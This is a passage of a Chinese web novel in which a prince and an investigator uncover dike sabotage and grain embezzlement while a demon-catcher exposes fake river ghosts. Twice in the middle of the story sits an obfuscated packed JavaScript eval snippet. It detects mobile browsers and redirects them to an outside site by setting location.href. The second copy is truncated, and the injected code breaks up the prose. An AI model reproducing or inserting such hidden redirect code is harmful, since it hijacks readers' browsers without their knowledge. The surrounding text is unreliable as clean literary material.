霍彦先抱拳禀报: “煜王殿下,救灾事宜已经安排妥当,除了本地,周边各城县也会派力量支援。此外,已将水患一事第一时间上报桓安,上面会尽快派人前来,监督堤坝工程质量检验以及水患原因调查。 下官刚才也已对全部参与堤坝工程的人员安排连夜审讯调查。只有一位林慎之,是一直负责水利工程建造执行的核心官员。 他于四日前和妻子一起溺亡江中,目前没有找到尸体。但下官在他家搜到了一本账簿,可能涉及工程贪墨。具体还需对账簿仔细研究后再做判断。” 工程贪墨! 煜王的目光穿透一地茶杯碎片,有一种纷繁杂乱的各路线头终于捋顺对接上了的感觉。 他沉声道:“继续查!” 17. 不是人为的? 水退之后,房屋被淹的民众陆续从临时安置的住处回家。佛塔也同时清理废墟,准备重建。 只不过,晴了没两日,富州城便又开始连日阴雨,虽然雨势不大,但以防万一,塌陷的堤段还是要加紧排查修复。煜王和霍彦先忙得脚不沾地。 与此同时,百姓心中也十分焦虑。在如此重视神佛信仰的地界,佛塔塌了是非常不吉利的。 并且有了之前的堤坝塌陷事件,一时间,百姓对于官府也不再信任。 “水患还会再来吗?” “粮食怎么解决?” “江伥还会作怪吗?” “还会继续死人吗?” 这样的顾虑,阿婵每日在街头巷尾都能听到。 不知道是不是她的错觉,经过了几天时间,比起官府失职,民众似乎更倾向于决堤是江伥作乱引起的。 但她知道江伥这种水鬼本身并没有这么大的本事,所以到底是谁将民众的口风扭转至此? 她走到街口,发现近日无偿开仓放粮赈济灾民的广源粮铺前非常吵闹。 正在排队领粮食的百姓,忽然被一队官兵拨开到两边。 “官府抓人,闲杂人等速速回避!” 百姓们大眼瞪小眼,不知道发生了什么? “怎么了这是?” “要抓谁啊?” “哎,不能等我领完粮食再抓吗?” 官兵们进入粮铺,将粮铺老板李霁源逮捕,并将粮铺查封。 李霁源还在铺中忙活,被抓时一头雾水,压根搞不清楚状况便被官兵架了出来,不断挣.扎:“官爷你是不是抓错人了,我没有犯事啊?” 突如其来的状况令百姓大惑不解,七嘴八舌道: “官爷为什么要抓李掌柜啊?” “李掌柜每日开仓放粮都是无偿的,做买卖也都是童叟无欺,有口皆碑,为什么要抓他啊?” “就是啊,李掌柜是大善人,平时经常做善事,现下粮田被淹,其他粮铺都贵得要死,只有他无偿开仓放粮,为什么要抓他呀!” 官兵严肃说道:“李霁源涉嫌粮食贪墨,暂时收监调查。” “啊?粮食贪墨?” 众人惊掉下巴! 李霁源更是大呼冤枉。 但没有用,官兵还是不由分说将李霁源带走了。 *** 煜王晁元肇在住处堂屋等候霍彦先。 不多时,霍彦先步履匆匆而至。 两人因为接连发生的各种事件连轴转,面色都十分憔悴。 霍彦先抱拳而立:“启禀殿下,都督府接到举报,已经将广源粮铺的老板李霁源押解回来收监等候调查。” 晁元肇从桌案前起身,示意他不必多礼:“霍大人,你怎么看李霁源粮食贪墨这件事?” “或许是个突破口。” “怎么说?” 霍彦先看看周围,面色警惕,晁元肇忙说:“此间只有你我二人,但说无妨。” 霍彦先放下心来,解释道:“据富州城的绣衣行走称,李霁源很久之前便开始做善事,在百姓之间口碑很不错,因此影响了其他粮铺的销量,很多粮商觉得他破坏了行业规矩,屡次上门找他理论。但是没用,李霁源依旧我行我素。 之前其他粮商虽瞧不惯他,但面子上还算过得去。可自水患之后,其他粮铺的价格均有上涨,只有李霁源一人无偿开仓放粮赈济百姓,又赚了很大一波口碑,因此很可能被其他粮商视为眼中钉。 今次他被举报,或许确有罪证,但也很可能是其他粮商的竞争手段。 下官认为,举报名目众多,偏偏以贪墨之名,绝非空穴来风。我们不如就以此为契机,看看能不能揪出更多线索。” 晁元肇点头表示认同: “本王也正有此意。来荔南府之前,本以为贪墨只涉及财政,但水患和李霁源之事,说明水利和粮食方面也需并线调查,背后可能牵涉甚广,非同小可。 这个冯鹤延表面勤勤恳恳,尽职尽责,还不知道瞒了我们多少事情。” “所以还需煜王殿下在人前稳住冯鹤延,以免打草惊蛇,下官好率绣衣察事司在暗中顺藤摸瓜,收集更多情报。” “你有部署了吗?此事关系重大,不容有失。” “下官在审讯之余,也在关押李霁源之处安排了暗候,方便随机应变,套取更多情报。” 晁元肇走到窗前,推开一半窗,外面雨帘淅沥,他眉宇间如同天空一般,有驱不散的阴霾。 “听说上面已经派人快马加鞭赶来,堤坝塌陷的原因,可有找到?” 谈及堤坝,霍彦先眉头紧蹙: “确实已在展开调查,但奇怪的是,经过检查,几乎所有堤坝基层的土石结构和加筋工艺,用料施工都十分夯实,以那晚的水势是绝对不可能决堤的。 上层决堤部分因被流水侵蚀,没有留下明显痕迹,无从得知原貌。 但从剩余一小段因地势较高保留完好的堤段看来,我们发现了草裹泥加筋之处有松动的迹象,但看上去并不是人力所能造成的。” “不是人力所能造成的,是什么意思?”晁元肇奇道。 “没有明显的人为开凿或毁坏痕迹,更像是被蚯蚓蚁类等细小虫类钻进侵蚀。” “那是什么意思,你是说周围的虫蚁自己爬进去把堤坝给啃噬坏了?还是有人放进去的?总不可能本来这些虫蚁就在其中吧,施工的时候没人发现? 如果数量众多怎么可能发现不了,如果数量不多,它们能撼动其中的砖石结构吗?” 霍彦先罕见露出无法解释的表情,无奈道: “这也是存疑的部分,因为它们看上去......就像是自然生长其中的,而且体量极其庞大,如果真的能够存活其中,我们日夜巡检时没理由发现不了。 同理,如果是人为放置进去的,这个体量动静不可能太小,时间也不会太短,没有理由发现不了。” “虫子呢,有什么异常吗?时近端午,可与五毒有关?”晁元肇问。 “就是平常的蚯蚓蚂蚁,没有什么异常,大部分已经随着流水被冲走。剩余小部分也因堤坝环境不适合生存几乎都自行爬走了。” “冲走的和剩余的虫会对百姓造成影响吗?” “目前看来不会。” 晁元肇陷入沉默,看向霍彦先。 一室寂静。 半晌,晁元肇揉了揉太阳穴,低声道:“罢了,想不通就暂时先放一边,不要耽误了其他的调查进度。” 霍彦先应下,汇报完毕,先行告退。 *** 之后的几天,富州城暂时恢复了平静,各项灾后事宜都在有条不紊地进行。 江中也没有再出现人命。 但是,江伥作怪毁掉堤坝的传言愈演愈烈。 有传言说,官府调查过,堤坝不可能是人为摧毁的,所以最有可能的就是妖怪作祟。 之前只死了几个人,对于江伥来说祭品太少,因此用妖力摧毁堤坝,要将整个富州城的百姓都淹没于水中献祭。 对此,有些人认为是官府为自己开脱,但也有更多的人信以为真。 佛塔倒塌,百姓们只能在自己家中祈求神明保佑,江伥不要来作怪骇人。 煜王为了安抚民心,一方面加快佛塔修复事宜,一方面广招天下高人,凡能捉拿江伥者,重赏一百两金。 看着满城贴着的招募公告,阿婵心动,毕竟赏金不少,开张就能吃三年。 于是她四处打听江伥的来历。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931444|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 众人说法不一。 有人说江伥是醉鬼掉到江中化成的,专找人索命。 有人说江伥喜欢风花雪月,在江边欣赏风景之时,想学诗仙斗酒诗百篇,结果一不小心掉进江里成了淹死鬼。 被江伥索命之人,尸体很久都浮不上来,捞都捞不上来。因为魂魄会被江伥束缚在江中,无法逃脱。 阿婵听得直皱眉头。 水中伥鬼,一般只需要找到一个合适的替身,让自己能够投胎,便不会再多造杀孽,因为没必要。 即便是替身继续制造杀孽,也并不存在尸体浮不上来的情况。 这些传闻跟江伥对不上号。 目前这个连续四天有人溺亡,却都找不到尸体的情况,应该不是江伥所为。 江伥的真实情况还得她亲自会一会。 *** 夜间,富州都督府监狱,两个狱卒巡过一圈牢房之后,不知怎么,突然觉得特别疲累,想必是连日不分昼夜地审讯实在太熬人。 因此两人打算轮流值班,一人强打精神,一人赶紧小憩片刻。 结果没想到两人竟都睡着了。 待到清醒之时,竟发现李霁源死在了牢房内。 还是隔壁牢房的犯人大呼小叫,将两个狱卒吵醒。 李霁源用不知道哪里来的麻绳,自缢而亡,隔壁关的也是都督府的小吏,正在狱中等待堤坝塌陷案调查。 他经常在李霁源的粮铺买粮,也算跟李熟识,一觉醒来发现对方自缢,忙托着李霁源的脚往上,一边想把他给弄下来,一边呼唤狱卒。 经过仵作检验,尸体就是自缢而亡,并不是假手他人被勒死后才伪装成自缢的。 这可把两人吓得差点尿了裤子。 要知道,李霁源是重要嫌犯,这次玩忽职守,最可怕的不是被冯都督知道,而是煜王殿下知道,这一下还不捅到圣人面前去了! 但是没办法,这事遮掩是遮掩不过去的,只能赶紧汇报。 冯鹤延知道了,当然是大发雷霆把他俩一顿好骂。 煜王此时倒是冷静:“别骂了,赶紧去查!” 霍彦先又一次连夜出动搜查证据,回来禀报: “煜王殿下,经搜查,在李霁源家中没有搜到贪墨的证据,但在他经常做善事捐资的慈幼坊的地窖之中,发现了藏得极为隐秘的信笺和账簿。 其中,记载着他数月前曾经跟都督府掌管仓库税收的司仓参军往来的通信,以及从百姓上缴的粮食赋税中逐日克扣,积少成多,并将都督府中对账做平,将余下贪墨之粮转移到自己的粮铺的始末。” 霍彦先呈上信笺和账簿。 *** 翌日,富州都督府公布了李霁源贪墨粮食、在牢中畏罪自杀的消息。 百姓一片哗然。 “没想到啊,看李大善人经常救济穷困百姓,无偿开仓放粮,原来放的都是咱们缴上去的粮食,怪不得不要钱呢!呸,什么大善人,早该死了!” 都督府拐角的巷子中,一抹灰色的身影闪过,眼神中充满怒火,片刻后消失在巷尾,无人察觉。 *** 这天夜里,更深露重,霍彦先悄悄潜伏在都督府的屋顶,已经数不清第几个不眠之夜。 仲夏时节,蚊虫嗡鸣,十分燥热,但他还是不动声色地耐心潜伏着、等待着。 突然冯鹤延的屋门打开,他着一身深色常服轻手轻脚地出了府衙。 霍彦先悄悄尾随,不多时,冯鹤延便到了一处无人巷子。 月光投射不到的暗处,出来一个人。 霍彦先心头猛跳,看身形,竟然是一个近来常打交道的人。 狭长的眼睛眯起,待对方转过来,他仔细一看,终于确认了,那人竟然是—— 18. 钓江伥 谭胥生! 那日他跟踪谭胥生,半路遇到牡丹花妖,然后又遇水患,实在是有太多事情要处理,就没有亲自跟进。 但最近这几天,杨奉安派人盯着他,倒也没有什么特别的举动。 直到今晚,他想李霁源畏罪自杀之后,冯鹤延如果有问题,肯定会有下一步动作。 结果没想到顺藤摸瓜,却摸到了谭胥生这里。 一个大桓官员,夜会疑似敌国奸细,总不可能只是看星星看月亮赏花作诗谈风月! 霍彦先按捺起心下冒起的怒火,仔细观察他们那边的动静。 谭胥生不耐烦道:“你怎么现在才来!” “最近事情这么多,你又不是不知道,我能来见你都是冒着暴露的风险!你就别抱怨了。”冯鹤延一脸焦头烂额。 谭胥生挠了挠手臂,没好气地说:“上次决堤也没搞出几条人命,怎么最近又在加固堤坝?” 堤坝!果然与他有关! 霍彦先竖起耳朵,聚精会神,等着下文。 “没办法,煜王临时来我这里,本来只说是巡察,也不知道是从哪里来的消息,一来就说要加固堤坝,我根本没时间做手脚。况且那堤坝本来建得就夯实,没有偷工减料,要临时做手脚太难了! 他可是皇子,身边那个霍行远也不是省油的灯,你说我能糊弄吗?堤坝要是不好好搞,说不定我人先没了,谁还替你搞这些事情!” “上次决堤的情况,上头知道后并不满意,你再找机会好好搞一下,争取一次到位,否则你一家四世同堂可就......” 谭胥生目光凶狠,做了一个手刀向下砍的动作,威胁冯鹤延。 “别别别.....你不是跟我承诺不伤害他们吗!”冯鹤延急了。 “就上次那个决堤?一共没死几个人,没淹几个田,对你们整个大桓也就是被蚊子叮了一口,你叫我怎么跟上面交代!你说让我给你时间,我给没给?结果我等来的是什么?继续加固堤坝! 你是要我在这里等到七老八十,看你们其乐融融国泰民安安居乐业是不是!”谭胥生讽刺。 冯鹤延擦擦汗,眼神里一边憎恶一边害怕,“煜王看得紧,你又不是不知道......” “那你上次是怎么把堤坝撕开的口子?你就再试一次,再接再厉,把口子再撕大一点,我要求不高,只要富州城这边能死一半人,今年粮食基本绝收,我们就能有空间施展。快点,时间紧迫,你赶紧回去部署!” 冯鹤延翻了个白眼,一副“你要不要听听你在说什么”的表情,跟这种丧心病狂之人讲不通根本讲不通,只好打个哈哈先应付过去:“好好好知道了,我这就回去想办法。” “快点儿,我可没多少耐心了!”谭胥生不耐烦地挠挠手臂。 冯鹤延匆匆转身离开。 谭胥生看着对方走远的身影,又挠了挠手臂,他撸.起袖子,看向手臂,表情十分痛苦。 月色之下,霍彦先看到谭胥生的小臂处,有一.大块烂疮,红肿溃烂,触目惊心。 谭胥生实在痒得不行,掏出一袋药粉塞进嘴里,嘟哝道,“这一期解药怎么还不来,五石散都快不能镇痛了!”随即满肚子怨气地离开巷子。 霍彦先记忆力一向很好,被称作行走的卷宗库,看到谭胥生的手臂情况,一下便联想到十年前乱葬岗的树林里,他遇到五个犍骑营逃兵的伤。 太像了!简直一模一样! 当时他回去审讯,手段都没施展齐全,那五个人便毒发身亡了。尚来不及搞清楚这毒疮的来历。 那是不是说明,这个谭胥生也快要毒发? 难道这个毒和朔勒有关?他也是被朔勒下毒胁迫的? 如此便解释得通谭胥生为何如此着急,催着冯鹤延捣毁堤坝。再迟他可能拿不到解药。 可是上一次冯鹤延到底用了什么办法造成的决堤? 听他话里的意思,堤坝本身建造的并没有问题,而且加固堤坝之时他也并没机会动手脚,那到底是怎么决堤的? 重重疑问交织,霍彦先略作计较,打算先回去保护堤坝,谭胥生话里的意思是继续等,今晚应该不会有大动作。 此外,也要赶紧提醒圣人,谭胥生的意思,就是有人要借水患将荔南府这边搞乱,富州城首当其冲,目标就是针对整个大桓,要天下大乱。 如果真让他得逞,不止朔勒,其他邻国也会趁机火上浇油,到时候会来不及收场。 想到此,他疾速折返。 *** 霍彦先回去和煜王、杨奉安交底,部署完一切,已经是第二天晌午时分。 因精疲.力竭,他便在煜王住处客房暂歇。 没想到刚过一个时辰,便有煜王的眼线来禀报,说江边有人目击到江伥作乱,并且煜王请来的捉妖高人还看到江边有行迹十分可疑的人。 同时,杨奉安前来汇报,说谭胥生也到了江边,一直在鬼鬼祟祟地张望,不知道要做什么。 晁元肇和霍彦先立马带人赶到江边,看到冯鹤延也在,两人对视一下——按昨夜计划进行。 江边聚集着人群,议论纷纷: “我刚刚看见江伥了,就在水里转了个圈然后就消失不见了。” “你看错了吧,我看明明是往堤坝那边去了!” “你们都不害怕呀,还敢在江边晃悠。” “那怎么办,夜里不敢,白天怕也得渡河过去干活啊!” “这江伥越来越嚣张了,白天都敢出来作乱了,真是太可怕了!” 霍彦先叫杨奉安安排人手,先盯着堤坝,将欲渡河的百姓劝回。 他自己则看见谭胥生也混在人群中,一副着急坐船渡河的样子。 忽听背后传来熟悉的声音: “霍大人,救救我啊,我不是行迹可疑的人,是揭了悬赏捉妖的告示,来干活的。”阿婵又是一副懒散腔调。 “……”霍彦先转头,见到阿婵又被绑起来了,见到他,一脸无奈地耸耸肩。 霍彦先不禁头疼,怎么又是这个似曾相识的场景,他俩是不是犯冲? 晁元肇听到阿婵和霍彦先的对话,奇道:“你们认识?” 霍彦先答:“是的煜王殿下,她是个捉妖方士,曾经帮我解决过案子中的妖乱。” 晁元肇还是比较相信霍彦先的,顿时对阿婵刮目相看,没想到这么一个年纪轻轻的美娇娘,竟会捉妖。 他叫人给阿婵松绑,问江边巡逻的官兵:“为什么把她抓起来?” 官兵说道:“您招募的高人说这个女子在江边似是在召唤江伥,但妖里妖气,怕不是捉妖而是召唤江伥作乱。” “同行倾轧,同行倾轧!霍大人你可千万不要听信那个糟老头子的言论,为了一百两金他什么胡话说不出来!”阿婵摇摇头,十分无奈。 转头又冲着煜王招募的高人苦口婆心劝道: “老头子我观察你好几天了,天天开坛做法,鱼都没翻上来一条,我问你师父是谁你为什么不说?实在不行回家再去修炼修炼吧,为了区区一百两金,把师门的脸都丢光了,实在不划算。你听我一声劝,少走五十年弯路。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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高人犹犹豫豫:“......好、好......” 此时阿婵跑到霍彦先旁边低声问:“看你眼神,水里那个人对你很重要吗?” 霍彦先不知道她又要干什么:“如果可以,先别让他死。” “哦,留着还有用?”阿婵细细品味话中意味。 霍彦先点点头。 “那晚点再死吧。”阿婵转头比划了一个请的手势:“高人,请捉妖!” 围观人群哗啦一下看向高人。 “......”高人骑虎难下,只能硬着头皮摆出架势。 香炉、符箓、狗血、长剑,耍了一通,谭胥生还在水里半死不活地挣.扎,丝毫没有用。 看到煜王殿下不悦的神色,高人出了一身汗,不知道是热的还是吓的。 “差不多得了。”霍彦先对阿婵说,他还得留着谭胥生这条线,看他那个死样子,别一会儿真的归西了。 阿婵还在趁火打劫:“大人,这是另外的价钱,他也像江伥一样值一百金,行吗?” 霍彦先叹气:“行,你先救上来再说。” “好嘞!”得了这个承诺,阿婵拿起贴满黄符的鱼竿,轻轻一挑,谭胥生就跟水里的鱼一样,轻轻松松被钓了上来。 晁元肇看着阿婵,眼中有些惊艳,似乎又觉得似曾相识。 霍彦先正好瞥到他这个眼神,眉头暗蹙。 19. 真假江伥 众人揉揉眼睛,以为自己看错了。 谭胥生身着蓝色丝绸长衫,跟着阿婵甩鱼竿的方向,在空中飘荡来、飘荡去,像被风吹起的一片柔弱的树叶。 但每个人都看到,阿婵甩出的鱼钩并没有碰到谭胥生,而是就那么悬钓在虚空之中! 仿佛有什么无形东西咬着钩子,而这个东西又缠住了谭胥生。 谭胥生终于不用呛水了,但感觉周身似乎被什么东西紧紧缠住,开始是腿,后面更蔓延到整个躯干,并且这个东西开始靠近自己的脖颈。 他呼吸困难,还要在空中随着鱼竿不断地荡来荡去,头也晕乎,手臂也痛痒难耐,但手臂被缠住又挠不得碰不得,心中仿佛有几万只蚂蚁在噬咬,浑身上下没一处不难受。 “高人,看见江伥了吗?”阿婵问道。 高人满脸都是汗,因为他什么都没看见,此刻说看见也不是,说没看见也不是。 晁元肇见他那样子,心下也知这高人多半是个草包,面色不悦,也跟着淡淡讽刺: “我等凡夫俗子看不见,高人肯定能看到吧,快来为大家描述一下这江伥长什么样子。” 高人一通支支吾吾,围观众人见他说不出个所以然,开始对他指指点点。 阿婵问霍彦先:“大人,这人犯了什么事?多好的机会,要不要帮你刑讯逼供一下啊,反正也是顺便的事,我不多收你钱。” “……”霍彦先轻咳一声,挡着嘴轻声对阿婵说:“倒也不必,但此人是重犯,给点教训是可以的,别弄死就行。” “好的!”阿婵脆生生应下。既然收了钱,那还是要满足雇主的需求。 众人眼看着谭胥生在空中“吊儿郎当”,一副要吐不吐,要喘气也喘不了的样子,脸憋得通红,感觉有什么东西缠上了他的喉咙,要把他掐死。 此时一波未平,一波又起,有人忽然指着江面中心处大喊: “江伥,我看见江伥了!” “怎么还有江伥啊,这不是被钓上来了吗?” “真的,江中有黑影在动!好大一个!” 霍彦先和晁元肇顺着众人视线,确实看到江中心的一个巨大黑影,在水里来回翻腾游动,搅出浪花。 “都来凑热闹啊,那正好一锅端。”阿婵将鱼竿一甩,谭胥生重新“扑通”一声又入了水。 神奇的是,他入水之后似乎便获得了片刻喘息之机,脸色也慢慢变得正常起来。 “咱们歇一会儿再耍哈!”阿婵扬声对谭胥生说道。 谭胥生瞬间脸色惨白。 她将鱼竿末端猛地往江边土地一插,没入地表三分,而后从随身背囊中取出一张黄符,在空中用手指虚空划了几个弯弯绕绕,黄符迸发金光,似一道利剑直指谭胥生所在的位置。 立即,人们就看见水里有一个黑乎乎的蛇形东西在疯狂蠕动甩尾,似乎非常痛楚,身上还有液体渗出,随水流形成一条长长的深绿色线。 阿婵指着水中的东西:“诸位看清楚了,缠着他的不是江伥,是一种叫做“凌渊络”的蛊虫,平时无形无色,但生性亲水,若是不小心被种到人体内,人便会发狂一般不由自主想要冲进水里。 到了水中,“凌渊络”便可以膨胀显形,像巨型水蛇一般,把人缠到窒息再吞到肚子里。 人在被吞进去的时候还有意识,只是没得救,会慢慢在它肚子里化成模糊的血肉,最后它再把骨头吐.出来,可怜啊可怜。” 众人倒吸一口凉气,立即再后退两步,想离这个蛊虫越远越好。 谭胥生听见这个,似乎想明白了什么,脸色变得比水里泡了三天的浮尸还惨白,惊恐又愤慨,想骂人但都没有力气。 阿婵继续说道:“但是这个蛊虫呢,也不是全无好处,它的肉质鲜美,让我们来试试看江伥好不好这一口。” 说着,她一扬手,山蜘蛛丝从她袖中射到江中,正好命中了“凌渊络”。 蛊虫吃痛,但不想离开寄主,阿婵随即“刷刷刷”几根山蜘蛛丝奉上,逼得它不得不向江中游去。 它渐渐远离谭胥生,而后忽然加快了速度,仿佛见到了新的寄主一般,激动又疯狂地向前方游去。 人们的视线都被吸引到江中。 谭胥生悄悄扒到岸边,此时缠身的妖怪好不容易不在了,阿婵和众人的注意力又都没在他身上,强烈的求生欲让他再虚弱也得打起精神先跑路。 刚想爬上岸,就见两根鱼叉朝他两边琵琶骨戳过来,痛得他直接想后仰到水中,但鱼叉叉得非常结实,直接把他从水中给提了上来。 是杨奉安和另一个官差,随手取了江边停船的鱼叉来用。 谭胥生痛得晕死过去,霍彦先冲着他的脸啪啪就是两巴掌。 他强行清醒过来,就看到眼前这个人眼圈幽暗、胡茬青黑,一脸过于明显的“我没睡好脾气暴躁你最好别惹我”的样子。 莫名其妙!好像这个人精神不好全是因为自己造成的似的! 谭胥生大感委屈:“你们,你们干什么,疯了吗,怎么可以随意伤害良民!” 霍彦先没好气地哼了一声:“良民?给我好好叉着,晒晒脑子!” 谭胥生还想辩解挣.扎,霍彦先一把掐住他的脖子,眼神凶狠:“别动,再动就直接剖开你的心肠,让大家看看你到底是不是良民!” 这一下掐得谭胥生的喉咙差点碎掉,比水中那蛊虫缠着他脖颈还猛,他差点一口气背过去。 咳了半晌,他终于觉得眼前这个黑眼圈疯子话里有话,而且看周围人对这疯子言听计从的样子,似乎是高官,谭胥生转念想到什么,瞬间脸色更差,安静如鸡,不敢再动。 霍彦先不再理他,转过头盯着江中动静。 阿婵现在已经不用山蜘蛛丝催动蛊虫,那蛊虫便非常自觉快速地向前游去,仿佛眼前就有一顿美餐在等待着它。 而人们所说的江伥黑影,却迅速朝着蛊虫相反的方向快速游离,一副避之不及的样子。 “呃,看样子……这蛊虫不像是江伥喜欢的口味,倒是它挺喜欢江伥的呐!”阿婵也不禁啧啧称奇。 顶着晌午的日头,阿婵身着紫色裙衫,鼻尖冒着微微的细汗,晶莹细小的汗珠衬得她皮肤越发透亮。 晁元肇总觉得阿婵有种似曾相识的感觉,不禁多看两眼,看得霍彦先觉得很不对劲。 忽然,江伥黑影发出巨大声响,三颗头颅翻出了水面,大呼“救命啊!救命啊!救命啊!” 围观百姓直呼神奇: “哇!这江伥有三颗头颅!” “长得怪像人咧!” “但你们听见没……江伥好像在喊救命!” “江伥斗不过蛊虫 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霍彦先递给杨奉安一个眼神。 杨奉安又拿了一个鱼叉,冲三人走过去,阴阳怪气道: “今天什么日子啊,鱼叉都快不够用了,要不你们三个穿成一串儿吧,不然救不上来啊!” 三人看着他身后被鱼叉叉得鲜血淋漓的谭胥生,十分惊恐,连忙把头摇成拨浪鼓:“不要不要不要!” 阿婵对杨奉安道:“你看嘛,我就说人家是在戏水呢,不需要咱们救。” “哦,那咱们确实不应该打扰。”杨奉安跟她一唱一和。 话音未落,阿婵轻薄的紫衫袍袖划出一道弧线,一股无形的气流直冲三人门面,卷起的浪硬是将三人连同蛊虫向江中推开了三丈。 她眼神狠戾起来,厉声诘问:“我要听实话,说是不说!” 三人本就被蛊虫缠得透不过气,又被迎面而来的气浪冲得脸上火辣辣的疼,说不出话,只能疯狂点头,发出气若游丝的声音:“有人、有人叫我们装江伥,骗百姓。” 众人惊讶,各种疑问层出不穷: “啊?谁啊,装江伥骗咱们干嘛?” “到底有没有江伥?” “所以说江伥原来是假的吗,其实根本没有江伥作怪?” “但我真的听说有江伥啊!” 有人偷偷瞟向煜王,眼神中都是“最有可能散播江伥作怪消息的人就是你了”的意味,但又不敢多看。 晁元肇感觉如芒在背。 一时间,气氛十分微妙。 忽又有人指着江中问: “不是?你们看江中那是什么?” 众人眼见着江中又起波澜。 “嘿,好像还有东西啊?” “又是假江伥?” 只见江中一条白浪由远及近而来,好似中秋之时的望月潮水。 但是,这是端午,不是中秋啊? 众人正在纳闷,下一刻,江中炸起滔天巨浪,三个人被水浪托起来直接重重摔到了岸上! 只听得江上传来中气十足的声音:“老子才是真江伥!腌臜竖子败坏我名声!老子忍很久了!” 20. 诈尸 江中凭空出现一个中年男子踏浪而来,玄袍美髯,身形修长,很是风.流倜傥。 阿婵看到他脚下踏的浪,如云卷波纹,眼前一亮: “终于等到你了,决堤那晚就是你吧?我踩的船差点被洪水掀翻了,是你帮我稳住的吧?我见好几个灾民被卷走,又莫名其妙出现在我船周围,也是你救过来的吧!” 江伥抚着长须美髯,得意点头:“孺子可教也。” 阿婵喜道:“多谢相助,要不是你,灾民伤亡也不会那么小。我这几天在江边一直想见你一面,奈何你一直不现身。” 江伥摆摆手,一副“都是小意思”的表情:“如非必要,我一般不会出现。” 众人好奇又害怕地打量着江伥: “江伥就长这样吗?好高大威武!” “它说它救人诶!” “啊?江伥不杀人,还救人哪?” 江伥有点小骄傲,随即看着那几个人就气不打一处来,恨不能将一肚子委屈往外倒,对阿婵说: “要不是看在你识货,老子今天还不出来呢!你去告诉官府,让他们赶紧干点正事,把堤坝好好弄弄,别天天搞得这么多人要老子救!” “……” “还有那个佛塔,赶紧修一修!老子醉酒溺亡之后为啥不转世投胎?还不就是为了这一塔依江的好风景,不知道哪里来的烂人把佛塔毁了,你把它扔到江里,看我不好好教训他!” 江伥这一说起来,就浑身激动,慷慨激昂,他生怕自己蒙上不白之冤,大倒苦水,中气十足,声如洪钟,只听得众人脑瓜子嗡嗡的。 最后众人终于明白,原来这个江伥,如传闻一般喜欢风花雪月。 他生前,其实是前朝为国征战的将士,在对抗西北朔勒的一次战役中,为救同袍丢了一条腿,好不容易活下来之后被迫退役。 回到家乡富州后,得知父母兄弟全在战争中去世,他自此孑然一身,一人吃饱全家不饿,挨到了西北战事平息,当今桓帝登基。 太平盛世,他每日干点力所能及的零散活计、买点小酒,最喜欢的就是在江边赏景,悠闲度日。 每当夕阳西下,他喝得微醺,坐在江边看这一江傍塔、香烟袅袅、国泰民安,都会觉得,这辈子就算只为了守护这样一幅如画美景,也没白在战场上丢掉这一条腿,值了! 不小心醉酒溺亡江中后,他化作江伥,本来找到溺亡替身就可投胎转世,但他放弃了,反而选择留在江中,赏赏景,偶尔救救掉江的人,打算生生世世就这样留在这片美景里。 久而久之,他竟攒了不少功德,可以幻化生前的样貌,出现在众人面前。 “现在老子一天天景也没得赏,光救人了!关键是救完人,这三个腌臜竖子还天天在江里假装是我,污蔑死人都是江伥索命,损害我的名声!” 江伥越说情绪越激动,脚下的云纹浪也随之翻腾得更加厉害,水花溅到岸上众人的身上。 尤其是溅到了冯鹤延、谭胥生的脸上。 “……”谭胥生被鱼叉叉着不能动,一脸难以置信地看着江伥。 冯鹤延见江伥视线扫过来,赶紧拿起袖子擦脸。 霍彦先、晁元肇将一众人的反应尽收眼底。 阿婵道:“别担心,今日煜王殿下、霍大人均在此,想必能还你一个清白。” 说着,她转头看向被众人遗忘的三个“假江伥”,已经几乎被凌渊络缠得窒息。 因为被阿婵的符箓所伤,凌渊络上岸后也保持着蛊虫原形。 阿婵从随身背囊中掏出一个小罐,拔开瓶塞,将赤色粉末一点点倒在绿色蛊虫周身。 瞬间,蛊虫剧烈挣.扎,沾着粉末的地方“滋滋”作响,并开始腐烂,片刻后,已经腐烂成一滩黑绿黑绿的水。 三个“假江伥”终于获救,被霍彦先的手下押着交待了实情: 原来他们三人十分精通水性,但因俩个好赌、一个好.色,欠了一屁.股债,就快活不起了。 这时候,有人找到他们,让他们按照吩咐,在特定的时间,穿上黑衣,冒充江伥。 为此,他们还演练了很久,才能在水中形成动作整齐划一的“巨大江伥黑影”。 “谁找的你们?” “是一个灰衣蒙面人。” 霍彦先示意杨奉安记下来,回头去查。 忽然人群中有人问道:“那前几天还死了四个人呢!是不是你们干的?” 三人赶紧摇头,表示没有干过。 “会不会是江伥说谎啊,万一是他杀的呢?” “这位捉妖的小娘子都说了江伥救人,应该不至于杀人吧。” “也许江伥杀人的时候她没看见呢?” “要是她和江伥是一伙儿的呢?” 一时间,各种质疑层出不穷。 众人看向阿婵的目光也变了意味,开始小声议论。 阿婵只是无语想笑,怎么这个场景好像又似曾相识,怎么每次都是霍彦先在场的时候…… 霍彦先更是两眉紧蹙,看着人群中这些突然提出质疑的人。 “江伥老爷不会杀人,只会救人,我可以作证!” 忽然人群里传来一句话,众人循声望去,竟是前几日被宣布“畏罪自杀”的广源粮铺老板李霁源! “诶!李掌柜!你不是死了吗?” “对啊,不是畏罪自杀了吗?” “诈尸啦!” 围观人群又炸了锅,一个时辰不到的时间里,竟感觉自己的眼睛第三次出现了幻觉。 冯鹤延更是犹如活见鬼一般,掩不住的震惊:“你你你,仵作验尸不是都说你已经死了吗?!赵仵作呢,去把赵仵作叫过来!” 李霁源将兜帽摘掉,露出憔悴的脸,看向冯鹤延的眼神充满讽刺,冷笑道: 